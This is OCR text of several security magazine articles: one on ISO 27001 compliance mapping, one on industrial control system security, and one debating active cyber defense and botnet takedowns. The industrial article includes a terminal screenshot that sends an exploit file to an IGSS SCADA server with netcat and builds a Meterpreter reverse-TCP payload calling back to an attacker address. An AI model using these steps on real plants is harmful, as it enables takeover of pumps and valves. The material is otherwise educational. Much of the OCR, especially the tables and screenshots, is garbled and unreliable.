ISMS Improvement (1 week)

External Independent Audit of the ISMS (1 week)
ISMS Improvement (1 week)

Certification performed by a Registrar

Phase 1 - Project Plan Creation, Secunty and Risk Analysis, and Gap Assessment (2 weeks)

Managing the ISMS / Consulting Management (3 weeks)

11202

142013 IMB2M3 202013

2M62013

B \

Ivavava

5 |

111/2012 12(1/2012 } 11112013 |
1I].I'26.QD1I2 12142012

Project Kick-0ff
Prasantation
11201z

21112013

iMizols  1RR2013 2802013

3M/2013
31312013

Figure 6. A Fast-track ISMS Implementation Project Timeline, William Slater, 2012
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What Cyberattack / Cyberwarfare Risk
Remediation Project Using ISO 27001
Might Look Like

It is possible to create and implement an ISMS us-
ing a fast-track method as shown in Figure 6. Note
that management must support such a project in
terms of resources (monetary, people, and assets)
and politically in order for it to be successful. Nev-
ertheless, it is possible to accomplish such a proj-
ect if management and the project team have the
will and resources to succeed.

ISMS Registrations by Continent

2011 ISMS Registrants by Continent

Figure 7./S0 27001 ISMS Registrants by Continent as of 2011
(source unknown)

ISO/IEC 27001 (Annex A) NIST SP 800-53 CONTROLS *
CONTROLS " x
A.10.6 Network security management

A.10.6.1 Network controls

AC-4. AC-17. AC-20. CA-3. CP-8. PE-5. SC-T7.
SC-8, SC-9, SC-10, 5C-19, SC-20, SC-21, SC-
22, SC-23

A_10.6.2 Security of network senvices |SA-9, SC-8, SC-9

A_10.7 Media handling

A_10.7.1 Management of removable  |MP Family, PE-16
media

A.10.7.2 Disposal of media MP-G

A_10.7.3 Information handling MP Family, SI-12
proccdurcs

A 10 7 4 Serurity nf system MP-4, SA-R

documentation
A_10.8 Exchange of information

A.10.8.1 Information exchange policies|AC-1, AC-3, AC4, AC-17, AC-20, CA-3, PL4,
and procedures P3-6, 3C-7, SC-16, 519
A 10.8.2 Exchange agreements CA-3, SA-Y

A.10.8.3 Physical media in transit MP-5
A.10.8.4 Electronic messaging

Multiple controls; electronic messaging not
addressed separately in SP 800-53
CA-1, CA-3

A.10.0.5 Dusiness information
systems
A_10.9 Electronic commerce senices

A 10 9 1 Flectronic commerce AL-D, 1A-8, SC-7. SC-R. 8C-9. 83, 8C-14
A 10.9.2 On-ine transactions SC-3, 8C-7, SC-8, SC-9, SC-14

A.10.9.3 Mublicly available information |SC-14

A 10.10 Monitoring
A_10.10.1 Audit logging

AU-1. AU-2, AU-3. AU4. AU-5. AU-B. AU-11,

AU-12

Figure 8. Mapping ISO 27001 Annex A controls to NIST 800-
53 Controls (FISMA)
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Should You Get Your Organization
Certified in ISO 27001?

Should you get your organization certified in ISO
27001 if you make the effort to remediate your
cyberattack and cyberwarfare risks using an ISO
27001 ISMS control framework? The quick an-
swer is, it depends. Currently, there are less than
9000 ISO 27001 ISMS certificate holders world-
wide. Despite the apparent emphasis on security
and risk reduction, quite often, organizations will
pursue the ISO 27001 certification either to com-
ply with regulatory requirements (as is required
in India), or as a business enabler, because their
business partners and/or customers expect it or
have greater confidence in an organization that
has an ISO 27001 certification. Though is is not
easy or inexpensive in terms of resources to earn
or maintain and ISO 27001 certification, the re-
turn on investment, particularly in areas like the
North America and South America where the ISO
27001 certification is still relatively rare, can be
quite significant.

Figure 7 shows the numbers of ISO 27001
ISMS Certificate Registrants by continent as of
2011. Note that according the PECB, a certifi-
cation body that trains and certifies ISO 27001
implementers and auditors, the number of ISO
27001 ISMS Certificate Registrants is expected
to double each year in North America for the fore-
seeable future.

Is Compliance with the ISO 27001
Standard or Some Other Security
Compliance Framework Still Important
Even If Your Organization Doesn’t Get
Certified?

Personally, | believe that the chief responsibil-
ity of the leadership of organization is to recog-
nize risks and reduce them, as cost effectively
as possible to manageable levels, and to com-
ply with the laws and regulations that impact its
operating environment. Even if an organization
does not seek or achieve a certification under
a security compliance standard such as ISO
27001, the organization can embrace and com-
ply with the security controls of a security com-
pliance standard, and thereby significantly re-
duce its business and security risks. The value
in each of these security compliance frameworks
(i.e. 1ISO 27001, PSC DSS. FISMA, HIPAA, etc.)
is that each offers a set of well defined controls
that are structured in a way to allow the organi-
zation that adopts then to visibly demonstrate its
efforts to reduce risks to its assets and its oper-
ating environment.
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Mapping to Achieve Compliance

with Two or More Security Compliance
Frameworks

When an organization is required to comply with
two or more security compliance frameworks, a
process known as “mapping” using a table show-
ing the similarity of various controls is used to
understand and communicate the specific con-
trols of each standard, and usually on a one to
one basis.

Typically, the standard that is already in place
or the one that is the most familiar is represented
on the left column, and the newer standard that
is required for a new compliance initiative is locat-
ed on the right column. An example is shown in
Figure 8.

Using ISO 27001 Controls

to Defend Against Cyberwarfare

and Cyberattacks

Of the 133 controls defined in Annex A of the
ISO 27001 standard, not all of these are required
to reduce the risk of cyberattacks and cyberwar-
fare. However, using my knowledge of the ISO
27001 standard framework of 133 controls, and
my knowledge of the various characteristics and
aspects of cyberattacks and cyberwarfare, | cre-
ated the table in Appendix A that can be used
to understand how these various defined con-
trols can be used to mitigate the risks associ-
ated with cyberattacks and cyberwarfare. The
right-most column gives a simple yes or no to in-
dicate the usefulness of the control in the miti-
gation of risks associated with cyberattacks and
cyberwarfare.

Recommendations

He section has been divided into recommendations
for four distinct groups of people that will probably
comprise the population of this magazine’s read-
ers. | deliberately omitted government officials and
military officials because they have their own elite
teams of cyberwarfare experts to advise them on
these issues.

In addition, they have a perspective of cyberat-
tacks and cyberwarfare in which they must con-
sider battle plans and strategies that include both
offensive and defensive operations. To best un-
derstand the true nature of cyberdeterrence and
cyberwarfare, everyone would be well advised to
read many of the materials in the reference sec-
tion of this article, and in particular, read Martin
Libicki’s book, Cyberdeterrence and Cyberwar, be-
cause | consider it to be the best unclassified refer-
ence on the market.

www.hakin9.org/en

For IT Professionals

* Educate yourself, continually about Cyberwar-
fare.

» Stay abreast of the threats and vulnerabilities
associated with your infrastructure and the in-
formation technologies that you work with.

+ Stay abreast of the security controls required
to mitigate the risks associated with the infor-
mation technologies that you work with.

* Where possible, get professional training and
certifications associated with IT security and
your job positions.

For IT Managers

* Learn the security compliance standard or
standards that will enable you to help your or-
ganization effectively lower risk to acceptable
levels.

* Learn risk management in the IT world.

* Learn what your teams do and keep them moti-
vated to be the best at what they do.

For Executives and Business Owners

* Remember your responsibilities to the Board of
Directors, your shareholders and other stake-
holders in your organization: Cyberattacks and
cyberwarfare represent serious threats that
can obliterate an organization’s ability to func-
tion (see the 2007 cyberattacks in Estonia, or
the 2008 attacks in Georgia if you require more
proof). If you plan for your organization to be
an ongoing concern for the foreseeable future,
you have no alternative than to ensure it is pro-
tected from cyberattacks and the effects of cy-
berwarfare.

* Learn the security compliance standard or
standards that will enable you to help your or-
ganization effectively lower risk to acceptable
levels.

* Learn risk management in the IT world.

* Learn what your managers and your teams
do and keep them motivated to be the best at
what they do.

For Hackers

» Consider becoming legitimate because the
need for experienced cybersecurity profes-
sionals to defend organizations and countries
has never been greater and in the long run, the
compensation will probably be much more lu-
crative.
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* Make sure that if you do join a team that it is a
winning team.

Conclusions

This article has covered some of the better known
aspects of cyberattacks and cyberwarfare, and at-
tempted to show that risks can be managed by ap-
plying security compliance frameworks such as
ISO 27001. While this has only been an introduc-
tion, because scores of books have been written
on these topics since 2005, it is important to un-
derstand these basic concepts and take them se-
riously. The future of your business, the satisfac-
tion and confidence of your stakeholders, business
partners, and your customers all depend on your
ability to protect your business and its operations
capabilities in the day and age of cyberattacks and
cyberwarfare.
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Appendix A - 15027001 Domains, Control Objectives and Physical and 9.1 Secure Areas
Controls Environmental 9.1.1 Physical security Perimeter
ISO 27001:2005 Controls Security 9.1.2 Physical entry controls
Clause Section | Control Objective/Control 913 Securing offices, rooms and facilities
- - - - - 9.14 Protecting against external and
Security Policy 5.1 Information Security Policy environmental threats
5.1.1 Information Security Policy
Document 9.1.5 Working in secure areas
5.1.2 Review of Information Security Policy 916 Public access, delivery and loading
areas
9.2 Equipment security
O;Qafmzat'qn 6.1 Internal Organization 9.2.1 Equipment sitting and protection
ofIn Qrmatlon 6.1.1 Managerpent Commltment to 922 Support utilities
security information security - -
9.2.3 Cabling security
6.1.2 Information security Co-ordination - -
9.2.4 Equipment Maintenance
6.1.3 Allocation of information security 2 S v of - i -
Responsibilities 9.2.5 ecurity of equipment off-premises
6.1.4 Authorization process for Information 926 Secure disposal or reuse of equipment
Processing facilities 9.2.7 Removal of Property
6.1.5 Confidentiality agreements
6.1.6 Contact with authorities Communications | 10.1 Operational Procedures and
6.1.7 Contact with special interest groups and Operations responsibilities
6.1.8 Independent review of information Management 10.1.1 Documented operating Procedures
security 10.1.2 Change Management
6.2 External Parties 10.1.3 Segregation of Duties
6.2.1 Identlﬁcatloq of risk related to 10.1.4 Separation of development and
external parties Operations facilities
6.2.2 Addressing security when dealing
with customers 10.2 Third Party Service Delivery
— Management
6.2.3 Addressing security in third party 10.21 Service Delivery
agreements
10.2.2 Monitoring and review of third party
services
Asset 7.1 Responsibility for Assets 10.2.3 Manage changes to the third party
Management 711 Inventory of assets services
71.2 Ownership of Assets 10.3 System Planning and Acceptance
71.3 Acceptable use of assets 10.3.1 Capacity management
7.2 Information classification 10.3.2 System acceptance
721 Classification Guidelines 10.4 Protection against Malicious and
- - - Mobile Code
7.2.2 Information Labeling and Handling
10.4.1 Controls against malicious code
Hurman Resource 181 e A 10.4.2 Controls against Mobile code
Security 8.1.1 Roles and Responsibilities 105 Back—Up.
312 Screening 10.5.1 Information Ba‘ckup
8.1.3 Terms and conditions of employment 106 R T) EE S
- 10.6.1 Network controls
8.2 During Employment -
10.6.2 i N k i
8.2.1 Management Responsibility 06 Security of Network services
- - 10.7 Media Handling
8.2.2 Information security awareness,
education and training 10.7.1 Management of removable media
8.2.3 Disciplinary process 10.7.2 Disposal of Media
— 10.7.3 Information handling procedures
8.3 Termination or change of employment
— — 10.7.4 Security of system documentation
8.3.1 Termination responsibility -
830 Return of assets 10.8 Exchang-e of Information _
833 Removal of access rights 10.8.1 Information exchange policies and
procedures
10.8.2 Exchange agreements
10.8.3 Physical media in transit
10.8.4 Electronic Messaging
10.8.5 Business Information systems
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10.9

Electronic Commerce Services

10.9.1 Electronic Commerce
10.9.2 On-Line transactions
10.9.3 Publicly available information
10.1 Monitoring
10.10.1 Audit logging
10.10.2 Monitoring system use
10.10.3 | Protection of log information
10.10.4 | Administrator and operator logs
10.10.5 | Faultlogging
10.10.6 | Clock synchronization
Access control 1.1 Business Requirement for Access Control
11.1.1 Access control Policy
11.2 User Access Management
11.2.1 User Registration
11.2.2 Privilege Measurement
11.2.3 User password management
11.2.4 Review of user access rights
11.3 User Responsibilities
11.3.1 Password Use
11.3.2 Unattended user equipment
11.3.3 Clear Desk and Clear Screen Policy
11.4 Network Access control
11.4.1 Policy on use of network services
11.4.2 User authentication for external
connections
11.4.3 Equipment identification in networks
11.4.4 Remote diagnostic and configuration
port protection
11.4.5 Segregation in networks
11.4.6 Network connection control
11.4.7 Network Routing control
11.5 Operating System Access Control
11.5.1 Secure Log-on procedures
11.5.2 User identification and authentication
11.5.3 Password Management system
11.5.4 Use of system utilities
11.5.5 Session Time-out
11.5.6 Limitation of connection time
11.6 Application access control
11.6.1 Information access restriction
11.6.2 Sensitive system isolation
1.7 Mobile Computing and Teleworking
11.7.1 Mobile computing and communication
11.7.2 Teleworking
Information 12.1 Security Requirements of Information
Systems Acquisition Systems
Developmentand | 1211 Security requirement analysis and
Maintenance specifications
12.2 Correct Processing in Applications
12.2.1 Input data validation
12.2.2 Control of internal processing
12.2.3 Message integrity
12.2.4 Output data validation
12.3 Cryptographic controls
12.3.1 Policy on the use of cryptographic

controls
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12.3.2 Key Management
12.4 Security of System Files
12.4.1 Control of Operational software
12.4.2 Protection of system test data
12.4.3 Access control to program source
library
12.5 Security in Development & Support
Processes
12.5.1 Change Control Procedures
12.5.2 Technical review of applications after
Operating system changes
12.5.3 Restrictions on changes to software
packages
12.5.4 Information Leakage
12.5.5 Outsourced Software Development
12.6 Technical Vulnerability Management
12.6.1 Control of technical vulnerabilities
Information 13.1 Reporting Information Security
Security Incident Events and Weaknesses
Management 13.1.1 Reporting Information security events
13.1.2 Reporting security weaknesses
13.2 Management of Information Security
Incidents and Improvements
13.2.1 Responsibilities and Procedures
13.2.2 Learning for Information security
incidents
13.2.3 Collection of evidence
Business Continuity | 14.1 Information Security Aspects of
Management Business Continuity Management
14.1.1 Including Information Security in
Business continuity management
process
14.1.2 Business continuity and Risk
Assessment
14.1.3 developing and implementing
continuity plans including
information security
14.1.4 Business continuity planning
framework
14.1.5 Testing, maintaining and re-assessing
business continuity plans
Compliance 15.1 Compliance with Legal Requirements
15.1.1 Identification of applicable legislations
15.1.2 Intellectual Property Rights ( IPR)
15.1.3 Protection of organizational records
15.1.4 Data Protection and privacy of
personal information
15.1.5 Prevention of misuse of information
processing facilities
15.1.6 Regulation of cryptographic controls
15.2 Compliance with Security Policies and
Standards and Technical compliance
15.2.1 Compliance with security policy
15.2.2 Technical compliance checking
15.3 Information System Audit Considerations
15.3.1 Information System Audit controls
15.3.2 Protection of information system

audit tools
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Industrial

Cybersecurity

There are lots of misunderstandings concerning Industrial Cybersecurity.
The IT World is completely different from the Industrial World, but due to
the necessity of communications between industrial facilities they were
using the network and systems which where developed and deployed

never worrying about security.

usable, more reliable, efficient, inter oper-

able, all those things that make them more
vulnerable. You will be driven through some history,
theory, and some practical exposure on hacking in-
dustrial environments and how to protect them.

E ngineers work to make control systems more
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Figure 1. Controller System Room

Control System

A Control System is a set of instruments, controls,
and controllers used to manage and control the
behavior of process machinery and thus, the pro-
cess (Figure 1).
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They can be divided as:

* instruments (Sensors
flow, pressure, etc.),

» controls (affect or modify operation of machin-
ery or process. For example, code, alarms,
buttons, switches, HMI's, indicators),

» controllers (SCADA — Supervisor Control and
Data Acquisition, DCS — Distributed Control Sys-
tems, PLC — Programmable Logic Controllers),

* Process Machinary (pumps, valves, actuators).

include temperature,

In order to operate, industrial facilities will require
many PCs, Servers, PLCs, DCSs, HMIs, as well
as many other network components.

Is Industrial Cybersecurity a real threat?
No major incident happened yet, but there are sev-
eral small scale incidents that have already taken
place:

* 1999: Petroleum pipe line exploded in Wash-
ington. This was considered the first Cyberse-

curity attack that resulted in 3 fatalities. A pipe-
line carrying gasoline failed due to damage
caused by a third party during construction on
adjacent facilities. The pipeline failure resulted
in discharging 277,000 gallons of product into a
creek bed (Figure 2).

» 2001: California Utility was compromised. It
was undetected for 20 days. The attacker had
full control for 20 days. It was due to unfire-
walled connections and many unused ports
opened. But luckily, this part of the plant was
still under construction.

» 2003: Safety system failure in Ohio at Davis-
Besse plant caused by the Slammer Worm.
Luckily, this part of the plant was under con-
struction as well. What could have happened if
those plants were fully operated?

» 2006: Embedded software discovery. Suspect-
ed to be the work of a foreign government seek-
ing to compromise the grid in a time of war.

2012: Nuclear threats using Stuxnet, the first and
major threat against a nuclear facility of public

Figure 2. Bellingham Pipe Line Explosion
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knowledge. It was stealthy only, but the attacker
could be using it to compromise, getting control of
a PLC mechanism, for example.

Existing facilities are not secure. Some of them
are 60 years old, some are only a couple years
old. But the main reason is the majority of those fa-
cilities were not designed for network and security.
Newer facilities are implementing better practices
and methods, but are still flawed.

Everything that have been done so far is too
slow and not enough. There are regulations but
they are not really enforced. Guidelines and rec-
ommendations exists also, but not much beyond
that. Now, nuclear facilities are different. They are
more regulated by the government. All the nucle-
ar plants in the United States are now undergoing
process and equipment changes in order to com-
ply to the new Cybersecurity plans for nuclear re-
actors.

Many issues, like bad designs and also bad im-
plementations, happen even before the plant exists
by itself. Bringing new technologies to old facilities
that are insecure also brings lots of vulnerabilities
in the name of friendly use. Manufactures are add-
ing features to their equipments, for example de-
vices you can program using your iPhone, even
through bluetooth connection, or PLC, which you
can access over the Web with no passwords set.
It's really good in terms of Maintenance and Op-
erations point of view but not from a security per-
spective.

There are maybe 10 to 15 major vendors of ba-
sic infrastructure for industries worldwide. Half of
them are in the United of States (GE, Rockwell,
Emerson). The other half are internationals (Sie-
mens, ABB, Schneider). All of them sell all over
the world except that US companies are not sup-
posed to sell to North Korea or Iran. If you think
about Stuxnet others can. At a first look it may
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be all industrial matter but can be military as well
when you thing about how a ship is constructed
for example. Ventilation, air conditioner and how a
pump works on ships are the same as industrial.
This is why DOD — Department of Defense is so
concerned nowadays.

Compliance and standards
There are rules and regulations you can follow to
protect your plant:

* NERC - National Energy Regulatory Commis-
sion. Fines up to $1milion per violation per day,

* NIST — National Institute of Standards and
Technology. Voluntary standards. Covers items
from cell phones to domain implementation,

* NRC — Nuclear Regulatory Commission. Man-
datory for nuclear facilities. Compliance is
needed to maintain license to operate,

* many others.

To protect your plant is simple: truly protect the
cybersystems effectively and responsibly and the
nuances of compliance standards become some-
what irrelevant. You shouldn't have to tailor plant
processes to compliance standards, you should
be interpreting compliance standards based on
effective existing processes. Just do it right.

Security flaws and mitigation of a PLC

One of the main issues is the ability to remotely
operate a PLC and be able to make writhes on the
PLC and most users are not aware of this func-
tionality. Many times the manual indicates it's not
capable.

Authentication is the another main problem as
password protection is disabled by default. Engi-
neers normally don't change the default password
provided by vendors.

Commands to write to the PLC passed by URL to
CGl script is the another common issue.

There are many methods and dangerous tools
that could be used today to attack a control sys-
tem. Metasploit is highly available for free on the
Internet today and it can be used against control
systems. With only 4 lines of code you can take
control of many controllers that are being used in
the industry today and and there is no patch for
it, because it's inherited from the design of the
system.

Compromising a Control System

In this session, we're going to focus on vulnerabil-
ities found on Interactive Graphical SCADA Sys-
tem (IGSS) developed by 7 Technologies from
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Denmark, and how the published "Proof of Con-
cept (PoC)" code/data packets can be leveraged to
building and executing your own malicious code.
The end result is a complete compromise or "pwn-
ing" of the control system.

This vulnerability allow me to run remote com-
mands with low effort and high impact.

Security - BackTrackd &2

plugiss
scripts

test
toals

Pm@a- ¥ & rotgbt: -yl

oy w2 QUM

Tt 1o roer campuier, press Cortrol-X ~—HidQe+@m

Figure 4. Using Hexedit on BackTrack to analyse the igss_8b.
dat file

Session  Edit  View

& Shell
Figure 5. Content of igss_8b.dat file
Seszion  Edit View Bookmarks Settings Help
Ay phonehome. js o
modules plugins
msfeli & d
ms fconsole scripts
ms fd test
msfelfscan tools
ms fencode wne, rb
ms fgui
rootight :-/msf# hexedit igss_8b.dat
rool@bl:~/msf# nc 172.16.252.137 12397 -w 5 < igss 8b.dat
rootébt :~/msf# hexedit igss_8b.dat
rootght :~/msf# . /asfpayload windows/meterpreter/reverse tep lhoste172.16.252.159
lport=445 X = payload.exe
Created by msfpayload (http://wew.metasploit.com).
Payload: windows/meterpreter/reverse tep
Length: 208
Options: lhost=172.16.252.159, Lport=445
roatght :-/msf# cp payload.axe ftmp/.
rootbt :~/msfi ] -
v
& Shell

Figure 6. Sequence of Commands
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In Figure 3, you can see a simple process with a
feed pump on the left supplying a product to stor-
age tank. From that storage tank, you have three
outlet valves that you can open or close at any giv-
en time.

This can represent a general water distribution
system or it can also be used in an oil refinery.

Using BackTrack Operation System, and
Metasploit you can change and add the payload of
the file and allow it to request commands from an
attacker system (Figure 4-6).

In result, the attacker may have full control of the
system, having the same image from Figure 3 and
be able to open the pump or the valves!

For this particular threat, patches were already
available, but not all systems administrators are
doing a great job applying them.

Summary

Industrial Cybersecurity is getting more and more
attention with passing of time and there is an enor-
mous gap between Industrial world and IT world,
as well as between the usability and interoperabil-
ity of that systems and their security, that need to
be covered. If you are an IT Security Professional
and are working in Industry, are you taking care of
the industrial environment IT Security as well? If
not, what are you waiting for?
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Hack Me? No, Hack You!

The Pros and Cons of Active Cyber Defense

Active cyber defense, or the act of striking back at cyber attackers,
is a growing practice being advocated by various governments,
corporations, and security experts around the world. Some victims
of cyber attacks are increasingly implementing active cyber

attack measures, firing back at their attackers with equal levels of

aggression.

with many complex issues, technical hur-

dles, legal concerns and ethical dilemmas —
as with most things of this nature, there are ardent
supporters on both sides of the debate — those
who advocate for utilizing active cyber defense,
and those who oppose it. This article will weigh the
pros and cons of active cyber defense, and ques-
tion if it is in fact the best way forward in securing
our networks.

Q ctive cyber defense is a hotly debated topic,

Introduction

Computers and technology are the corner-
stone of modern-day life. Advances in Informa-
tion Technology and the Internet have created
a digital-bridge which spans the globe, allowing
people to stay connected, keep informed, con-
duct business, and enjoy new avenues of en-
tertainment. These advances have significantly
reshaped the way business is conducted; orga-
nizations can rapidly share intellectual property
and products, new avenues for interacting with
customers are constantly being developed, and
the face of the global economy has been forev-
er changed. These advances have also enabled
governments around the world to better work to-
gether and protect their nation’s interests. That
being said, these advances do not mark a flaw-
less leap towards a utopian society, while much
good has come from the advances in technolo-
gy, those same advances which allow zeros and
ones to travel around the globe in the blink of an
eye, have provided criminals a new avenue to
commit crimes, cyber activists an avenue which
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they can forcefully promote their agenda, and
governments the ability to weaponizing their cy-
ber arsenal to gain an edge over rival nations, by
complimenting their kinetic weapons with digital
equivalents.

Image: Terrance Stachowski, 2012
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There are plenty of cyber buzzwords floating
around these days; cybercrime, cyber warfare,
cyber attacks, and cyber terrorism have all but
become household terms. In October of 2012,
Defense Secretary Leon E. Panetta cautioned
that the United States is facing the possibility of
a “cyber-Pearl Harbor” and is increasingly vul-
nerable to foreign computer hackers who could
dismantle the nation’s power grid, transportation
system, financial networks, and the government
[1]1.There are conflicting opinions on how serious
cyber threats are, and how to best address them.
Some experts warn that we are racing towards
a cyber-Armageddon, while others dismiss these
opinions as little more than exaggerated fear-
mongering.

Regardless of the what the future Internet land-
scape may shape up to be, there is little doubt
that we are currently living in an age where cy-
ber attacks are on the rise. According to the 2012
Cost of Cyber Crime Study, which was conducted
by the Ponemon Institute and sponsored by HP,
the occurrence of cyber attacks has more than
doubled over a three-year period, and the finan-
cial impact has increased by nearly 40 percent
[2]. Cyber crimes will likely continue to gain mo-
mentum in the foreseeable future, but from a de-
fensive perspective we must question if a tradi-
tional, layered — yet passive — defensive strategy
is enough moving forward, or if an active cyber
defense is required.

What is a Cyber Attack?

There are various types of cyber attacks. In a broad
sense a cyber attack can be defined as an attack
on a computer system or network. The offending
attacker may be an individual, a group, or even
a nation-state. Attackers range in abilities, from
script kiddies who are novice hackers with limited
skills — to highly-skilled cyber criminals. Motivating
factors vary, but the goals of a cyber attack are
typically to commit fraud, theft or alteration of data,
disruption of services, abuse of IT resources, or vi-
olation/theft of personal privacy information. Some
example categories of cyber attacks:

» Zero-Day exploits/attacks: This type of attack
is when an attacker utilizes an exploit or vul-
nerability for which no patch currently exists.

* Denial of Service (DoS) attacks: Disrupt servic-
es of targeted system or network by consum-
ing bandwidth or taxing a machine’s resources.

» Distributed Denial of Service (DDoS) attacks:
Similar to a DoS attack, but attacks are con-
ducted from multiple attacking machines.

www.hakin9.org/en

+ Defacement of websites: This type of attack
aims to modify the content of a website, or re-
direct guests to a counterfeit site.

* Spam campaigns: This type of attack sends
massive quantities of unwanted, unsolicited
‘spam’ messages or e-mails to the target; typi-
cally used for advertising products.

* Malicious Software / Malware Attack: This type
of attack includes Trojans, viruses, and worms,
which can be used to disrupt operations, steal
information, or create backdoors into systems.

These attacks are often stacked and deployed in
tandem, i.e. a Zero-Day exploit may be utilized
to exploit a vulnerability which allows the attack-
er to inject the system with a backdoor such as a
remote access Trojan (RAT) which gives the at-
tacker administrative control of a machine, or to
inject viruses or other malicious software into the
network.

According to the Department of Defense Strat-
egy for Operating in Cyberspace (2011): “Foreign
cyberspace operations against U.S. public and
private sector systems are increasing in number
and sophistication. DoD networks are probed mil-
lions of times every day, and successful penetra-
tions have led to the loss of thousands of files from
U.S. networks and those of U.S. allies and industry
partners. Moreover, this threat continues to evolve
as evidence grows of adversaries focusing on the
development of increasingly sophisticated and po-
tentially dangerous capabilities [3].”

Challenges Organizations Face
Some major challenges that organizations are cur-
rently facing:

* The number of vulnerabilities are constantly
growing in number.

» Attackers are becoming more sophisticated in
their attack methods.

» Traditional security practices are largely reac-
tionary, i.e. patching vulnerabilities as patch-
es become available, blocking offending IP
addresses only after they are identified as a
threat.

* Many companies may not have the right blend
of security professionals, manpower, or re-
sources to adequately monitor, identify, patch
and secure their networks from attacks in a
timely fashion.

« Attribution is arguably the single-most frus-
trating challenge that organizations face in re-
gards to cyber attacks. Pinning down where
an attack is truly originating from, and discov-
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ering who is ultimately responsible, is an ex-
tremely complex technical undertaking. Iden-
tifying the attack source is much more com-
plicated than simply tracing an IP address
back to the offending machine; the problem is
that most accomplished attackers are skilled
in the ways of obscuring their footsteps by uti-
lizing covert channels, proxies, services such
as The Onion Router (TOR), and make use of
botnets, etc.

Stefan Ortloff, a Kaspersky Lab expert, has
demonstrated how peer-to-peer botnets have
evolved past the traditional botnet architecture.
In a traditional botnet, there is a single command
and control-center (C&C) managing the bots,
thus there is a single point-of-failure, as seen in
Figure 1. The Hlux/Kelihos (peer-to-peer) botnet
as seen in Figure 2, doesn’t use a centralized
C&C, so it makes taking down this type of botnet
much harder [4].

Ortloff states that by design, the size of a peer-
to-peer botnet can only be estimated; the old
Hlux botnet which was taken down in September

C&C
Bot Bot
Bot Bot
Bot 9 Bot
Bot

Figure 2. Stefan Ortloff, 2012 [5]

Bot
Figure 3. Stefan Ortloff, 2012 [6]
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2010 is estimated to have had 40,000 different
IP addresses involved, whereas the new botnet
is estimated to have had 110,000 IP addresses
involved.

Arguments Favoring Active Cyber Defense
According to Hayes and Kesan (2011): “Though in-
trusion detection and tracing are essential, coun-
terstriking is key to enhancing the deterrent effects
of active defense. At its core, cyber counterstriking
is about two things: (1) deterring attackers and (2)
ensuring that attacked parties are not deprived of
the inherent right to defend themselves and their
property. There are many views of deterrence, but
deterrence is generally accomplished by the threat
of some combination of the following elements:
(1) punishing attackers by inflicting unacceptable
costs, or (2) preventing attackers from succeeding
in their attacks.” [7]

Many advocates of active cyber defense agree
on the above points, primarily that parties have
the right to defend themselves through deterrence,
and by making the cost too great for attackers to
continue their efforts, that passive defense does
little to dissuade attackers.

Jeff Bardin (2012) argues: “The legal issues not-
withstanding, offensive cyber actions are the only
way we are going to get our adversaries to pay at-
tention. Whether they are cyber criminals, foreign
intelligence services, cyber proxies, hackers, hack-
tivists, or some other such adversary, we need to
do more than just stand and take a beating... When
we attack the attackers (and this is not active de-
fense), they cannot attack us. Most cyber criminals
have absolutely no defensive posture whatsoever.
When hit with an offensive attack, they quickly shift
their targets since it is not cost effective and their
whole intent is economic in nature... There is posi-
tive outcome when attacking your cyber adversar-
ies. It disrupts their command and control. If forces
them off their mission. It forces the adversary to
invest in measures they have never invested in. It
forces a ripple in their activities that can then be
tracked through primary, secondary and tertiary
actions.” [8]

Many developed nations are currently develop-
ing and employing active cyber defense capabili-
ties to thwart intrusions, limit loss or damage, and
disrupt adversary activities on their systems and
networks. The United States Department of De-
fense is expanding its formal and informal cyber
cooperation to a wider circle of allies and partner
militaries to increase collective self-defense and
boost collective deterrence. The DoD will create
new opportunities for like-minded states to work
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cooperatively based on shared principles; expand-
ed and strengthened relationships with allies and
international partners can maximize scarce cyber
capabilities, mitigate risk, and create coalitions to
deter malicious activities in cyberspace [9].
Common arguments for utilizing an active cyber
defense often deliver some of the following points:

* Law enforcement isn’t working, or the legal
system is too slow or unable to provide solu-
tions — particularly when the attacks originate
from a different country.

* There are not enough qualified law enforce-
ment agents to perform investigations, and too
few with the skills required to go toe-to-toe with
cyber criminals.

* Organizations have the right to self-defense.

» Stolen data actually belongs to the victim, so
it’s within their right to go and retrieve their da-
ta from the attackers.

* The cost of not hacking back is too great. Or-
ganizations cannot sit idle while their informa-
tion is being stolen or their services are being
disrupted.

* Another popular argument/mindset is what
| call “The Sign Reads Beware of Dog” ap-
proach, basically it's the notion that if organiza-
tions make it known that they are willing to uti-
lize active cyber defense techniques, they will

Examples of Active Cyber Defense in
Practice

There have been several notable botnet takeover/
takedown operations. David Dittrich has done
some excellent work on compiling and examining
a list of botnet takeover and takedown activities.
In his paper So You Want to Take Over a Botnet...
(2012), he notes that all takedowns coordinating
civil and/or criminal legal process with technical
methods (Waledac, Rustock, Coreflood, and Keli-
hos) succeeded on first try, while those only using
civil legal process (the first attempt at taking down
Ozdok) or using only technical means (Torpig, Oz-
dok, and Pushdo) did not [10].

Arguments Opposing Active Cyber
Defense

The arguments against utilizing active cyber de-
fense are abundant and are just as compelling as
the arguments put forth by advocates.

Jody Westby argues: “The perceived value of ac-
tive defense has to be weighed against the risk and
cost. On the risk side, there is the clear possibility
that playing cat and mouse with sophisticated cy-
bercriminals may cause them to up the stakes and
launch more destructive attacks... even after lying
low for a considerable period of time.” [12]

According to Jarno Limnell: “We cannot solely
focus on increasing offensive activities in cyber-

scare off potential hackers. space. Fighting fire with fire will lead us to a dan-

Botnet Peak  Size | First Seen Take Down Time Success on | Used Legal
(est) Elapsed 1™ try Process

Torpig 180,000 Feb 2006 Jan 2009 3 ycars No No

Ozdok 264,784 Early 2008 Nov 2009 2 years No No

Mariposa 12 million - May 2009 Dec 2009 7 months No No*

Waledac 6,600+ ° Apr 2008 Feb 2010 3 years Yes Yes

Pushdo 1.5-2 Million | Jan 2007 Aug 2010 3.5 years No No

Bredolab 30 million ® Mid-2009 Oct 2010 1.5 years No Yes ©

Coreflood IR 2001 Apr2011 10 years Yes Yes

Rustock 1.6 million ® | 2006 Mar 2011 5 years Yes Yes

Kelihos 41,000 Dec 2010 Sep 2011 8 months Yes Yes

Table 1: Botnets subject to highly publicized takedown efforts (by takedown date)

' Unique IPs connecting to FireEye’s sinkhole in 24 hrs. The 2008 estimare of 35,000 by Marshal Software [35, 36] provided no

time frame or counting methodology.

2 Unique IP addresses over an unspecified time period [ 10]. Other estimates show no more than 1.5M per day.
4 The Mariposa Working Group did not use legal process in their botnet takedown attempts, but information they obtained was

provided to law enforcement who eventually made arrests.
4 Count of actively spamming nodes in 24 hr period.

5 Count of total infections, not to be considered a single monolithic botnet of 30M computers. Also, counting method and time

period used to establish count was not specified.

° Criminal procedures were used 1o seize control of C&C servers.

